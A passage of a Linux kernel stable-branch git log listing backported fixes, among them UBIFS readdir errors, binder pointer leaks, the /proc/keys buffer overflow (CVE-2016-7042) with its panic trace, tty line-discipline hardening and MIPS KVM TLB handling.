    usb: gadget: function: u_ether: don't starve tx request queue
    
    commit 6c83f77278f17a7679001027e9231291c20f0d8a upstream.
    
    If we don't guarantee that we will always get an
    interrupt at least when we're queueing our very last
    request, we could fall into situation where we queue
    every request with 'no_interrupt' set. This will
    cause the link to get stuck.
    
    The behavior above has been triggered with g_ether
    and dwc3.
    
    Reported-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
    Signed-off-by: Felipe Balbi <felipe.balbi@linux.intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d66300b89114d876a74fe28845979ae846607bb5
Author: Richard Weinberger <richard@nod.at>
Date:   Fri Oct 28 11:49:03 2016 +0200

    ubifs: Fix regression in ubifs_readdir()
    
    commit a00052a296e54205cf238c75bd98d17d5d02a6db upstream.
    
    Commit c83ed4c9dbb35 ("ubifs: Abort readdir upon error") broke
    overlayfs support because the fix exposed an internal error
    code to VFS.
    
    Reported-by: Peter Rosin <peda@axentia.se>
    Tested-by: Peter Rosin <peda@axentia.se>
    Reported-by: Ralph Sennhauser <ralph.sennhauser@gmail.com>
    Tested-by: Ralph Sennhauser <ralph.sennhauser@gmail.com>
    Fixes: c83ed4c9dbb35 ("ubifs: Abort readdir upon error")
    Signed-off-by: Richard Weinberger <richard@nod.at>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 3d4434afe9bbb8b75da9ca7bc10fa941e40dd23d
Author: Richard Weinberger <richard@nod.at>
Date:   Wed Oct 19 12:43:07 2016 +0200

    ubifs: Abort readdir upon error
    
    commit c83ed4c9dbb358b9e7707486e167e940d48bfeed upstream.
    
    If UBIFS is facing an error while walking a directory, it reports this
    error and ubifs_readdir() returns the error code. But the VFS readdir
    logic does not make the getdents system call fail in all cases. When the
    readdir cursor indicates that more entries are present, the system call
    will just return and the libc wrapper will try again since it also
    knows that more entries are present.
    This causes the libc wrapper to busy loop for ever when a directory is
    corrupted on UBIFS.
    A common approach do deal with corrupted directory entries is
    skipping them by setting the cursor to the next entry. On UBIFS this
    approach is not possible since we cannot compute the next directory
    entry cursor position without reading the current entry. So all we can
    do is setting the cursor to the "no more entries" position and make
    getdents exit.
    
    Signed-off-by: Richard Weinberger <richard@nod.at>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a8cfa3bd99581771a0695958382b686da0fe856a
Author: Arve Hjønnevåg <arve@android.com>
Date:   Mon Oct 24 15:20:30 2016 +0200

    ANDROID: binder: Clear binder and cookie when setting handle in flat binder struct
    
    commit 4afb604e2d14d429ac9e1fd84b952602853b2df5 upstream.
    
    Prevents leaking pointers between processes
    
    Signed-off-by: Arve Hjønnevåg <arve@android.com>
    Signed-off-by: Martijn Coenen <maco@android.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 4d0ee2bb0e06f8abe29f85fb5075eaf955e2e886
Author: Arve Hjønnevåg <arve@android.com>
Date:   Mon Oct 24 15:20:29 2016 +0200

    ANDROID: binder: Add strong ref checks
    
    commit 0a3ffab93fe52530602fe47cd74802cffdb19c05 upstream.
    
    Prevent using a binder_ref with only weak references where a strong
    reference is required.
    
    Signed-off-by: Arve Hjønnevåg <arve@android.com>
    Signed-off-by: Martijn Coenen <maco@android.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 5ef115ce8d3405c329c8e02a7b560722d9c01900
Author: Takashi Iwai <tiwai@suse.de>
Date:   Thu Dec 17 08:12:37 2015 +0100

    ALSA: hda - Merge RIRB_PRE_DELAY into CTX_WORKAROUND caps
    
    commit ef85f299c74e6c5dd98ec0230183be33f4c2813d upstream.
    
    AZX_DCAPS_RIRB_PRE_DELAY is always tied with AZX_DCAPS_CTX_WORKAROUND,
    which is Creative's XFi specific.  So, we can replace it and reduce
    one more bit free for DCAPS.
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d23706c419c0f4a74cb81dbd52af57b7d01db9e7
Author: Marcel Hasler <mahasler@gmail.com>
Date:   Thu Oct 27 00:42:27 2016 +0200

    ALSA: usb-audio: Add quirk for Syntek STK1160
    
    commit bdc3478f90cd4d2928197f36629d5cf93b64dbe9 upstream.
    
    The stk1160 chip needs QUIRK_AUDIO_ALIGN_TRANSFER. This patch resolves
    the issue reported on the mailing list
    (http://marc.info/?l=linux-sound&m=139223599126215&w=2) and also fixes
    bug 180071 (https://bugzilla.kernel.org/show_bug.cgi?id=180071).
    
    Signed-off-by: Marcel Hasler <mahasler@gmail.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit cd93b7f830c1fa1cb35146c701ce8eecb2b19c44
Author: David Howells <dhowells@redhat.com>
Date:   Wed Oct 26 15:01:54 2016 +0100

    KEYS: Fix short sprintf buffer in /proc/keys show function
    
    commit 03dab869b7b239c4e013ec82aea22e181e441cfc upstream.
    
    This fixes CVE-2016-7042.
    
    Fix a short sprintf buffer in proc_keys_show().  If the gcc stack protector
    is turned on, this can cause a panic due to stack corruption.
    
    The problem is that xbuf[] is not big enough to hold a 64-bit timeout
    rendered as weeks:
    
            (gdb) p 0xffffffffffffffffULL/(60*60*24*7)
            $2 = 30500568904943
    
    That's 14 chars plus NUL, not 11 chars plus NUL.
    
    Expand the buffer to 16 chars.
    
    I think the unpatched code apparently works if the stack-protector is not
    enabled because on a 32-bit machine the buffer won't be overflowed and on a
    64-bit machine there's a 64-bit aligned pointer at one side and an int that
    isn't checked again on the other side.
    
    The panic incurred looks something like:
    
    Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ffffffff81352ebe
    CPU: 0 PID: 1692 Comm: reproducer Not tainted 4.7.2-201.fc24.x86_64 #1
    Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2011
     0000000000000086 00000000fbbd2679 ffff8800a044bc00 ffffffff813d941f
     ffffffff81a28d58 ffff8800a044bc98 ffff8800a044bc88 ffffffff811b2cb6
     ffff880000000010 ffff8800a044bc98 ffff8800a044bc30 00000000fbbd2679
    Call Trace:
     [<ffffffff813d941f>] dump_stack+0x63/0x84
     [<ffffffff811b2cb6>] panic+0xde/0x22a
     [<ffffffff81352ebe>] ? proc_keys_show+0x3ce/0x3d0
     [<ffffffff8109f7f9>] __stack_chk_fail+0x19/0x30
     [<ffffffff81352ebe>] proc_keys_show+0x3ce/0x3d0
     [<ffffffff81350410>] ? key_validate+0x50/0x50
     [<ffffffff8134db30>] ? key_default_cmp+0x20/0x20
     [<ffffffff8126b31c>] seq_read+0x2cc/0x390
     [<ffffffff812b6b12>] proc_reg_read+0x42/0x70
     [<ffffffff81244fc7>] __vfs_read+0x37/0x150
     [<ffffffff81357020>] ? security_file_permission+0xa0/0xc0
     [<ffffffff81246156>] vfs_read+0x96/0x130
     [<ffffffff81247635>] SyS_read+0x55/0xc0
     [<ffffffff817eb872>] entry_SYSCALL_64_fastpath+0x1a/0xa4
    
    Reported-by: Ondrej Kozina <okozina@redhat.com>
    Signed-off-by: David Howells <dhowells@redhat.com>
    Tested-by: Ondrej Kozina <okozina@redhat.com>
    Signed-off-by: James Morris <james.l.morris@oracle.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 7861c0eef03bdaefa7b22cf6c01bd482d1239b3e
Author: Darrick J. Wong <darrick.wong@oracle.com>
Date:   Thu Oct 20 15:46:18 2016 +1100

    libxfs: clean up _calc_dquots_per_chunk
    
    commit 58d789678546d46d7bbd809dd7dab417c0f23655 upstream.
    
    The function xfs_calc_dquots_per_chunk takes a parameter in units
    of basic blocks.  The kernel seems to get the units wrong, but
    userspace got 'fixed' by commenting out the unnecessary conversion.
    Fix both.
    
    Signed-off-by: Darrick J. Wong <darrick.wong@oracle.com>
    Reviewed-by: Eric Sandeen <sandeen@redhat.com>
    Signed-off-by: Dave Chinner <david@fromorbit.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 70542ad936c4ba107771ed2b922cd34c211eed5b
Author: Laura Abbott <labbott@fedoraproject.org>
Date:   Tue May 12 10:00:00 2015 -0700

    HID: usbhid: Add HID_QUIRK_NOGET for Aten DVI KVM switch
    
    commit 849eca7b9dae0364e2fbe8afdf0fb610d12c9c8f upstream.
    
    Like other KVM switches, the Aten DVI KVM switch needs a quirk to avoid spewing
    errors:
    
    [791759.606542] usb 1-5.4: input irq status -75 received
    [791759.614537] usb 1-5.4: input irq status -75 received
    [791759.622542] usb 1-5.4: input irq status -75 received
    
    Add it.
    
    Signed-off-by: Laura Abbott <labbott@fedoraproject.org>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b50be07c2d88f969fdcd995905a268ec21fba5a5
Author: Richard Weinberger <richard@nod.at>
Date:   Mon Oct 12 23:35:36 2015 +0200

    UBIFS: Fix possible memory leak in ubifs_readdir()
    
    commit aeeb14f763917ccf639a602cfbeee6957fd944a2 upstream.
    
    If ubifs_tnc_next_ent() returns something else than -ENOENT
    we leak file->private_data.
    
    Signed-off-by: Richard Weinberger <richard@nod.at>
    Reviewed-by: David Gstir <david@sigma-star.at>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e1a77178a3ecee0f5e70568e9ddb99bd7d0c5ee7
Author: Peter Hurley <peter@hurleysoftware.com>
Date:   Fri Nov 27 14:30:21 2015 -0500

    tty: Prevent ldisc drivers from re-using stale tty fields
    
    commit dd42bf1197144ede075a9d4793123f7689e164bc upstream.
    
    Line discipline drivers may mistakenly misuse ldisc-related fields
    when initializing. For example, a failure to initialize tty->receive_room
    in the N_GIGASET_M101 line discipline was recently found and fixed [1].
    Now, the N_X25 line discipline has been discovered accessing the previous
    line discipline's already-freed private data [2].
    
    Harden the ldisc interface against misuse by initializing revelant
    tty fields before instancing the new line discipline.
    
    [1]
        commit fd98e9419d8d622a4de91f76b306af6aa627aa9c
        Author: Tilman Schmidt <tilman@imap.cc>
        Date:   Tue Jul 14 00:37:13 2015 +0200
    
        isdn/gigaset: reset tty->receive_room when attaching ser_gigaset
    
    [2] Report from Sasha Levin <sasha.levin@oracle.com>
        [  634.336761] ==================================================================
        [  634.338226] BUG: KASAN: use-after-free in x25_asy_open_tty+0x13d/0x490 at addr ffff8800a743efd0
        [  634.339558] Read of size 4 by task syzkaller_execu/8981
        [  634.340359] =============================================================================
        [  634.341598] BUG kmalloc-512 (Not tainted): kasan: bad access detected
        ...
        [  634.405018] Call Trace:
        [  634.405277] dump_stack (lib/dump_stack.c:52)
        [  634.405775] print_trailer (mm/slub.c:655)
        [  634.406361] object_err (mm/slub.c:662)
        [  634.406824] kasan_report_error (mm/kasan/report.c:138 mm/kasan/report.c:236)
        [  634.409581] __asan_report_load4_noabort (mm/kasan/report.c:279)
        [  634.411355] x25_asy_open_tty (drivers/net/wan/x25_asy.c:559 (discriminator 1))
        [  634.413997] tty_ldisc_open.isra.2 (drivers/tty/tty_ldisc.c:447)
        [  634.414549] tty_set_ldisc (drivers/tty/tty_ldisc.c:567)
        [  634.415057] tty_ioctl (drivers/tty/tty_io.c:2646 drivers/tty/tty_io.c:2879)
        [  634.423524] do_vfs_ioctl (fs/ioctl.c:43 fs/ioctl.c:607)
        [  634.427491] SyS_ioctl (fs/ioctl.c:622 fs/ioctl.c:613)
        [  634.427945] entry_SYSCALL_64_fastpath (arch/x86/entry/entry_64.S:188)
    
    Cc: Tilman Schmidt <tilman@imap.cc>
    Cc: Sasha Levin <sasha.levin@oracle.com>
    Signed-off-by: Peter Hurley <peter@hurleysoftware.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 3309cd4ea01d2946839f083a60259851bfbc7456
Author: Yuta Kobayashi <alu.ula@outlook.com>
Date:   Fri Aug 12 07:49:17 2016 +0000

    HID: microsoft: Add Surface 4 type cover pro 4 (JP)
    
    commit b490a8537df60d449199e162417da74ee9262515 upstream.
    
    Adding support for the Microsoft Surface 4 Type Cover Pro (JP).
    
    Signed-off-by: Yuta Kobayashi <alu.ula@outlook.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Cc: Oliver Neukum <ONeukum@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit bee0e10e8612ff91d1aa975e1200eff5a7193a32
Author: AceLan Kao <acelan.kao@canonical.com>
Date:   Thu Aug 4 10:26:20 2016 +0800

    HID: input: add mic mute key on HP slim keyboard
    
    commit 08fc94733211f94755dd15028fb0a0129310fb5d upstream.
    
    Add MIC mute key which is found on HP Business Slim Keyboard
    
    T:  Bus=02 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 23 Spd=1.5 MxCh= 0
    D:  Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs=  1
    P:  Vendor=03f0 ProdID=2f4a Rev=00.10
    S:  Manufacturer=Chicony
    S:  Product=HP Business Slim Keyboard
    C:  #Ifs= 2 Cfg#= 1 Atr=a0 MxPwr=100mA
    I:  If#= 0 Alt= 0 #EPs= 1 Cls=03(HID  ) Sub=01 Prot=01 Driver=usbhid
    I:  If#= 1 Alt= 0 #EPs= 1 Cls=03(HID  ) Sub=00 Prot=00 Driver=usbhid
    
    Signed-off-by: AceLan Kao <acelan.kao@canonical.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Cc: Oliver Neukum <ONeukum@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit ff686d55d87f6c3e7e5c88480ae050cbf042e1e4
Author: James Hogan <james.hogan@imgtec.com>
Date:   Wed Nov 9 16:13:50 2016 +0000

    KVM: MIPS: Precalculate MMIO load resume PC
    
    commit e1e575f6b026734be3b1f075e780e91ab08ca541 upstream.
    
    The advancing of the PC when completing an MMIO load is done before
    re-entering the guest, i.e. before restoring the guest ASID. However if
    the load is in a branch delay slot it may need to access guest code to
    read the prior branch instruction. This isn't safe in TLB mapped code at
    the moment, nor in the future when we'll access unmapped guest segments
    using direct user accessors too, as it could read the branch from host
    user memory instead.
    
    Therefore calculate the resume PC in advance while we're still in the
    right context and save it in the new vcpu->arch.io_pc (replacing the no
    longer needed vcpu->arch.pending_load_cause), and restore it on MMIO
    completion.
    
    Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.")
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Cc: Paolo Bonzini <pbonzini@redhat.com>
    Cc: "Radim Krčmář <rkrcmar@redhat.com>
    Cc: Ralf Baechle <ralf@linux-mips.org>
    Cc: linux-mips@linux-mips.org
    Cc: kvm@vger.kernel.org
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    [james.hogan@imgtec.com: Backport to 3.10..3.16]
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit fb357699fe2d1f8ab6820a13353aee5a10477267
Author: Nicholas Mc Guire <hofrat@osadl.org>
Date:   Wed Nov 9 16:13:49 2016 +0000

    MIPS: KVM: Fix unused variable build warning
    
    commit 5f508c43a7648baa892528922402f1e13f258bd4 upstream.
    
    As kvm_mips_complete_mmio_load() did not yet modify PC at this point
    as James Hogans <james.hogan@imgtec.com> explained the curr_pc variable
    and the comments along with it can be dropped.
    
    Signed-off-by: Nicholas Mc Guire <hofrat@osadl.org>
    Link: http://lkml.org/lkml/2015/5/8/422
    Cc: Gleb Natapov <gleb@kernel.org>
    Cc: Paolo Bonzini <pbonzini@redhat.com>
    Cc: James Hogan <james.hogan@imgtec.com>
    Cc: kvm@vger.kernel.org
    Cc: linux-mips@linux-mips.org
    Cc: linux-kernel@vger.kernel.org
    Patchwork: https://patchwork.linux-mips.org/patch/9993/
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
    [james.hogan@imgtec.com: Backport to 3.10..3.16]
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e01f1c70914befc091e692e27d82d099e92844c4
Author: James Hogan <james.hogan@imgtec.com>
Date:   Wed Nov 9 14:46:24 2016 +0000

    KVM: MIPS: Drop other CPU ASIDs on guest MMU changes
    
    commit 91e4f1b6073dd680d86cdb7e42d7cccca9db39d8 upstream.
    
    When a guest TLB entry is replaced by TLBWI or TLBWR, we only invalidate
    TLB entries on the local CPU. This doesn't work correctly on an SMP host
    when the guest is migrated to a different physical CPU, as it could pick
    up stale TLB mappings from the last time the vCPU ran on that physical
    CPU.
    
    Therefore invalidate both user and kernel host ASIDs on other CPUs,
    which will cause new ASIDs to be generated when it next runs on those
    CPUs.
    
    We're careful only to do this if the TLB entry was already valid, and
    only for the kernel ASID where the virtual address it mapped is outside
    of the guest user address range.
    
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Cc: Paolo Bonzini <pbonzini@redhat.com>
    Cc: "Radim Krčmář" <rkrcmar@redhat.com>
    Cc: Ralf Baechle <ralf@linux-mips.org>
    Cc: linux-mips@linux-mips.org
    Cc: kvm@vger.kernel.org
    [james.hogan@imgtec.com: Backport to 3.10..3.16]
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit f668f2eee98250a2073a4beafdb7f6d1e21c528e
Author: Jiri Slaby <jslaby@suse.cz>
Date:   Wed Nov 9 22:15:57 2016 +0100

    Revert "KVM: MIPS: Drop other CPU ASIDs on guest MMU changes"
    
    This reverts commit 168e5ebbd63eaf2557b5e37be1afb8c143de2380, which is
    upstream commit 91e4f1b6073dd680d86cdb7e42d7cccca9db39d8. It caused
    build failures as it was improperly backported. New version is
    approaching, so revert this bad one.
    
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Cc: James Hogan <james.hogan@imgtec.com>